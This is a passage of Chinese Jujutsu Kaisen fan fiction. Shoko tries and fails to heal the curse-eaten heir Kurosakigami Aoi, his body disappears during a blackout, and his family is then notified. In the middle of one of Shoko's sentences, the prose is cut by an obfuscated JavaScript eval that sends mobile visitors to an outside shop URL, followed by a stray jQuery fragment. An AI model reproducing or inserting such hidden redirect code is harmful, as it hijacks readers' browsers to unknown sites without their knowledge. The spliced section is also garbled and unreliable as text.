晚上六点,东京校咒术高专简易手术室里,半具人形身上连满了检测生命体征的导联。
好冷……治疗床上的人眼皮子颤了一下。
一墙之外。
“虽然只是猜测,我们看到的那个吸引和吸收咒灵的特级咒灵应该都不是本次事件的元凶。”
至于前期调查报告里说的不是咒灵什么的,完全没有那回事,就是咒灵,但应该确实也不是本案的元凶,它没有杀人的必要,一开始也没有展现出攻击性。
一只飞蛾在灯泡上旋飞,给底下的三人打上摇晃的影子。
一点火星明灭,硝子吐出一口烟:“可黑崎上家那边要怎么说呢。”
三个大人齐齐坐在门口的凳子上,五条那过长的腿横跨两块地砖豪迈地岔开,支起一只手撑着下巴:“除了照实说也没有别的说法啊,怎样,还能治吧,硝子?”
“‘能治吗’?死刑也得拉心电图呢”
吐槽完这句话,按灭香烟,硝子穿上白大褂,进了手术室。
与此同时,校外的树林间出现攒动的黑影。
电话声响起。
静静听着夜蛾正道打电话,五条悟没有说话,眼罩遮蔽了他的表情。等到夜蛾正道打完电话:“校门口出事情了?”
夜蛾点头:“‘窗’说有别的异动可能需要我去看一下。”
“需要的话,我来应对黑崎上家的人。”
肩上被拍了拍,夜蛾脚步声渐远。
五条悟摇摇头,进手术室,冷气开得很足,除了血腥味外——
他的鼻子不自觉动了动。
已经连上的心电监护上所显示的心率极为缓慢,仅为39次/min。无论怎么看都不像是能活的样子。
硝子静静地看着躺在床上的人。
葵。
名字与冷气充足的手术室完全不搭。
当时缠着白色绷带,身着工作服的五条悟推门而入,像猫一样冒出来:“那孩子有反转术式外放的天赋。”
几个月前,黑崎上家与其他高层大吵特吵有关于特级叛出同期的处置问题,背对着一堆人,这小孩撑着伞蹲在地上数蚂蚁,硝子看到他在听到五条的话后稍稍侧了下头。
偷听的小鬼。
“是吗?你怎么知道的?”手上凝聚反转术式,硝子治疗好了一个人。
“……杰的伤,他尽力治了。”
是吗?
失而复得、一身落魄的‘最凶恶的诅咒师’,她的同窗,其被送来治疗时居然还有力气笑着冲她挥手:“哟,好久不见,硝子。”
原来是他救的吗?硝子抽空向争吵处看了一眼。
小孩穿着纹着黑崎上家家徽的白色和服站了起来,撑着把油纸伞远远看着大人们吵架。
那场游行造成很多术师受伤。
手上沾了血污,人们往来间将一具又一具不知道伤得多重的人抬进医务室。
绷带用完了,五条悟去帮忙让监督们调用过来,室内只剩他们两人。
唉,如果不是绷带用完,估计连休息的时间都没有吧?
硝子直起腰,听见自己身上发出‘咔吧’一声。
好忙啊,好想让他来帮忙。
算了。
硝子从烟盒里抽出一根烟,搓扁揉圆了烟蒂也没点。
且不说这本来就是大人该干的活。
御三家,或者是家族养出来的小孩大多脾气都有些……再加上都是咒术师,咒术师里脾气好的人难道就很多吗?
“需要我帮忙吗?”陌生且带些稚嫩的声音响起。
动作一滞,硝子把未点的烟收了回去。她静静地看了眼这个小孩一眼,又环视了周边的伤员。
“可以吗?”
“没事的,我学过一些包扎”男孩从袖子里抽出一根黑色丝带。“我的孩子们应该也在里面吧?”
他自顾自叼着丝带给自己襻膊,很利索,像是做了不止一次。
“孩子?”
“哦,很奇怪吧,黑崎上家一般都把自己麾下的人称为孩子。”
“是呢……明明你也是小孩。”
“没觉得恶心就好。”
“称呼而已,怎么会。”
黑崎上葵没有解释,利落又轻柔地剪开手下一名伤者衣物与伤口的粘合处,手上一点微光散发,不是多强大的反转术式,但够用了。
一具又一具,两个人都不再搭话,就连送绷带回来的五条悟对这样的场景也没说什么。
直到又一具。
“需要回避吗?”
“不用。”
看到衣角上黑崎上家的家徽,黑崎上葵吃力地将伤者翻过来。
“虽然你好像很累了,但是见到家主没打招呼是大不敬知道吗?”
人闭着眼,手上传来不正常的冰凉。
“……”
脖颈处有勒痕,有个深深勒进肉里的痕迹,底下是暗紫色的,勒沟上是青紫色,有个不对称的‘v’。
沿着后脖颈一点点往下摸,有一块骨头突兀地隆起。
被吊死的。
因为身上没有什么其他伤口,未见出血,所以被误以为是轻伤人员送来了?
不知道什么时候,争论完的黑崎上家人准备来领家主回家了。
眼前是层层叠叠的印着家徽的衣袖,将自己与那位女医生隔开,黑崎上葵压低了声音:
“查,犯人中有谁的术式能做到这种效果。”
自动门在五条悟背后缓缓合起,将硝子从回忆中拉回。
在冷气充足的手术室内,背对着五条悟的硝子轻轻吸了一口气,换上口罩,又穿了两层医用橡胶手套。
“你很在意这孩子。”绷带下的眼睛注视着硝子。
硝子从旁边取出无菌包,无纺布上印着黑崎上家的家徽。
眼前的躯体,光肉眼看的话,这具身躯几乎是被诅咒蛀空了。
从内部一点一点啃噬过来,胸骨柄向下至脐上三指间有明显的裂缝,探照下发现深度已经深达内脏。肋骨下、内脏的阴影中都有诅咒游走,保护性的肌肉纤维暴露在空气中,边缘泛着不健康的灰白。
暴露的胸腹腔隐约能看见内脏的轮廓——已然变形了,靠什么维持生命体征?
“你也很在意这孩子不是吗,虽然我觉得我们在意的点大致是不一样的。”
凝神,咒力凝聚在手心,绿色的微光在掌心汇聚,微微发烫。她尝试着把手掌悬在他的胸膛。
按实。
“呃啊啊啊啊啊啊啊——!”
按上残躯胸膛的一瞬,他发出了极其惨烈的叫声。
那声音嘶哑得像砂纸摩擦铁锈,尖锐地刺穿了安静的诊疗室。同一瞬间,残躯唯一完好的左手猛地抽动,手掌痉挛着向远离硝子的方向挣去,五指在空中徒劳地抓握,指甲刮过不锈钢手术台边缘,发出"滋啦"一声刺耳的噪音。
“嗯?”硝子收回手。
跟平时可见皮肉逐渐生长的样子不同,这具残躯居然出现了些许被灼烧后才有的反应。
这是……
“哇,心率上去的好快,治疗有效吗?”五条悟的声音从身后传来,带着点懒洋洋的惊奇。
监护仪上,心率直逼100次/min。
“离远一点吧,虽然诅咒造成的伤口跟外伤有所区别,这里也不是医院的手术室,毕竟我也只是个咒术师。”
硝子端详着自己的手:“也不是说没效果,只是……”
再次凝起咒力,这一次更小心地、只将指尖覆上残躯的腕部脉搏处。咒力刚刚渗入皮肤表层,残躯便再次剧烈地一颤,指尖传来明显的抵触和灼烧感。
这太奇怪了。
五条悟不知道什么时候走到了她对面,相隔一米,摘下了眼罩,他俯身看了一会儿,唇角的笑意慢慢收了起来。
“……别治了”他说。
“诅咒已经完全长进去了。”
可能术式太耗咒力,硝子眼前黑了一瞬。
五条悟偏开视线,盯着监护仪上逐渐回落的曲线,"大脑层面的东西全乱了,诅咒侵蚀成这样,如果反转术式也没用就相当于无药可医,如果继续下去……"
“他也不会想看到自己变成那样的。”
监护仪上的心率从100跌到80,再跌到60,数字一格一格地掉,像沙漏里流尽的细沙。
台上那具残破的躯体的脸露在白布外面,那张原本温和清秀的脸此刻歪斜着,半张脸凹陷下去,眼眶空了一个,另一只眼睛闭合着,睫毛上凝着暗褐色的血痂。
硝子盯着地面,想起来一个小插曲。
虽然大多家族都有自己的培训方式,但是有悟这个先例在,也许是真的太累,又或许是因为他真的是个好苗子,她也记不得自己当时是本着怎样的心情询问了,怎么问的她自己也不记得了,总之她记得他的答案。
他拒绝了,在思考了很久之后。
谁能想到再见面居然是这样呢。
“五条。”她开口,喉咙发紧:“今晚加一下班吧。”
“嗯?”五条疑惑。
“黑崎上家那边”硝子摘下一边手的两只手套,揉了揉眉心,”总要有人要跟夜蛾站在一起,而且你走了我一个人搬不动他。”
“……可惜了。”
五条悟语气轻飘飘的,手指勾起眼罩又松开,弹性很好的眼罩又弹回他脸上。
什么味道?
虽然不合时宜,也找不到源头:“硝子,你有没有闻到什么味道?”
“什么味道?”
心率降到40了。
硝子叹了口气,关了无影灯,静静靠在墙上。
走廊尽头传来急促的脚步声,高专的辅助监督敲着门,急躁慌乱的声音从门后传来:
“五条先生!校门口发生大规模咒灵暴动,现在学校放假人手不足,请您立刻支援!”
五条悟皱眉:“夜蛾呢,现在?”
下一秒夜蛾正道的电话也打过来了:“高专内人手不足,悟,现在校门口集合,立刻!”
五条悟回头看了硝子一眼。
硝子冲他摆摆手:“去吧,这边有我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949531|214142||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。监护仪线直了我就通知黑崎家来认人。”
五条悟身影一闪便消失在门口。走廊里传来呼啸的风声和远处隐约的爆炸闷响。
硝子走回手术台前。葵的胸口还在极其微弱地起伏着,心率显示38次/min,下一个数字跳出来变成36次/min。
“啵”的一声,一个导联线脱落,监护仪发出报警声,硝子蹲下身。
在地上摸索了一会,终于触碰到柔软的橡胶,硝子捏着那个脱落的导联站起来。
窗外忽然刮过一阵风。手术室的灯熄灭了。
黑暗中她眨了一下眼,静静等高待专的备用电再次给手术室供电。
眼前只有监护仪是有备用电的,黑色的底没有什么照明的效果,上面绿色的线时不时跳一下。
说来这个监护仪也是黑崎上家更新的设施,大概能支撑六个小时。
只是并不是说监护仪能续航就等于生命能续航。
“滴——滴——滴——”
黑暗中,硝子听着监护仪因为一直没有接上最后的导联而一直发出的报警声。
——
下一秒手术室灯亮起。
……
床上的躯体消失了,一滴血都没有,像是从未存在过。
硝子张了张嘴,感受到脖子后一阵凉风,在发出疑问前重重一痛。
校外的咒灵群都是一些小喽啰,虽然是小喽啰,但是数量多得缠人,所以才要搬五条悟这个救兵。
五条悟慢悠悠走路还有他抱怨的声音传进手术室:"什么嘛,就那么几只小杂鱼也叫我……硝子?"
推开门,看见硝子背对着他坐在椅子上,白大褂的衣摆垂落下来。
“硝子?”
没有回答。五条悟走过去,硝子闭着眼,呼吸均匀,居然就这么睡着了。眼底下有淡淡的青黑,口罩只拉到下巴,露出半张疲惫的脸。
而手术台上,什么都没有。
不对吧?
慢慢直起身,六眼无声地扫过整个房间。空气里残留着极微弱的咒力痕迹——熟悉、气息隐秘而怪异,如果换普通术师可能根本就发现不了。
刚刚那股味道,要说离开前还是‘若隐若现’的程度。
现在已经是非常明显了。
这个味道……
总感觉很安神,很好睡觉的感觉?
硝子看起来睡得很香,伸手,五条悟想把白大褂从椅背上扯下来盖在她肩上。
冰冷的手挡住了五条悟扯白大褂的动作:“……他不见了”
“谁?”
硝子头一顿,趴回桌子上,竟然是又睡了过去。
“等等?”
就算再疲惫,硝子也绝不是在这样的情况下能睡得着的人。
只是在六眼的查看下,没有诅咒,也没有任何外伤,居然只是真的睡着了吗?
“有意思。”
是夜,黑崎上岭正在翻看上个月的家族账目和任务报表。在她桌边的地板上垒着的还有事务所、研究所的一堆待看文件,高度基本跟桌面平齐。
夜已经深了,厅里只开了一盏台灯,光晕落在她一丝不苟的盘发和银边眼镜上。她翻过一页纸,笔尖在某个数字上点了点,正要标注什么——
“岭小姐!”门被猛地推开,一个下属几乎是撞进来的,制服上还沾着雨水,脸色惨白,"出、出事了!白代执和家主他们——"
黑崎上岭手指一顿,笔尖在纸面上洇开一个墨点。
与此同时,桌上的电话响了,她看了一眼,不是内部通讯。
东京校……?
她抬起眼,不紧不慢地搁下钢笔,左手抬起,掌心下压。那位慌乱的下属立时闭嘴低头待命。
听筒里传来高专高层那边公事公办的冰冷声音:"黑崎上家领事,请于今晚十点前派人至东京都立咒术高等专门学校,认领贵家族成员黑崎上葵的遗体。另,由于事情比较复杂,请核心执事级以上人员到场。"
黑崎上岭静了两秒。
"知道了。"
挂断电话,看向门口还喘着气的下属,黑崎上岭声音平稳得没有一丝波澜:“高专来信息了,家主的情况我知道了,现在准备去高专的车,然后……”
桩桩件件、有条不紊地安排下去。
最后,重新拿起电话,拨了一个加密频道。
电话接通,黑崎上岭没有开口。
“……岭小姐?”
夏油杰温和的嗓音从对面传来,提醒着拿着听筒却愣神的黑崎上岭。
她定了定神:“……夏油先生,请准备与高专的交涉,交涉时间待定。”
过了许久又像是一瞬。
“我知道了。”
挂断电话,黑崎上岭像是脚下生了根一般伫立在原地。
窗外树影摇动,叶子的影子拉扯着她的影子。
拉开抽屉,泛着莹润光泽的戒指静静地躺在特制的盒子里。
看了那枚戒指许久,她取出戴上。
今晚的黑崎上家和东京都立咒术高专注定灯火通明。